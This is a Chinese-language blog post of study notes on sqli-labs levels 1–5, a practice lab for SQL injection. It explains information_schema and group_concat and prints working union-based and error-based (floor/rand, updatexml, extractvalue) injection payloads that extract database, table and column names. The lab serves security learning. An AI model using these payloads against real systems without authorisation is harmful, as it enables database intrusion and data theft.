sqli-labs闯关1—5(复习hhhh)

参考:http://www.secist.com/archives/4880.html

SQL注入简介

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。(百度百科)

补充知识
  1. MySql常用注释方法:/ #(即%23) – /…/ --+
  2. 验证有多少列:用order by 判断字段数,当输入id=1’ order by 4 – #时页面回显错误,说明有3个字段;
  3. 接下来查询数据库中有哪些库
  • information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息,下面说一下常用的几个表
  • SCHEMATA表
    储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。
  • TABLES表
    储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表
  • COLUMNS表
    提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表。

第一关——基于错误的GET单引号字符型注入

select * from tableName limit i,n

  • tableName:表名
  • i:为查询结果的索引值(默认从0开始),当i=0时可省略i
  • n:为查询结果返回的数量
  • i与n之间使用英文逗号","隔开
爆破数据

id=1’ union select 1,group_concat(schema_name),3 from information_schema.schemata – #(爆数据库名)

  • concat()函数
    1、功能:将多个字符串连接成一个字符串。
    2、语法:concat(str1, str2,…)
  • 在有group by的查询语句中,select指定的字段要么就包含在group by语句的后面,作为分组的依据,要么就包含在聚合函数中。
    在这里插入图片描述
    表结构与数据如上
    现在的需求就是每个id为一行 在前台每行显示该id所有分数
    使用group_concat 后
    SELECT id,GROUP_CONCAT(score) FROM testgroup GROUP BY id

    返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

id=123’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() – #(爆数据表名)

id=123’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ – #(爆字段)

第二关——GET – Error based – Intiger based (基于错误的GET整型注入)

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

第三关——基于错误的GET单引号变形字符型注入


得出

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

第四关——基于错误的GET双引号字符型注入


确定

$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";

第五关——双注入GET单引号字符型注入

双查询注入详细解释
当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。

  1. Rand() //随机函数
  2. Floor() //取整函数
  3. Count() //汇总函数
  4. Group by clause //分组语句

常见的报错注入

  1. 通过floor报错
    and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
    其中payload为你要插入的SQL语句
    需要注意的是该语句将 输出字符长度限制为64个字符
  1. 通过updatexml报错
    and updatexml(1,payload,1)
    同样该语句对输出的字符长度也做了限制,其最长输出32位
    并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

3.(3). 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值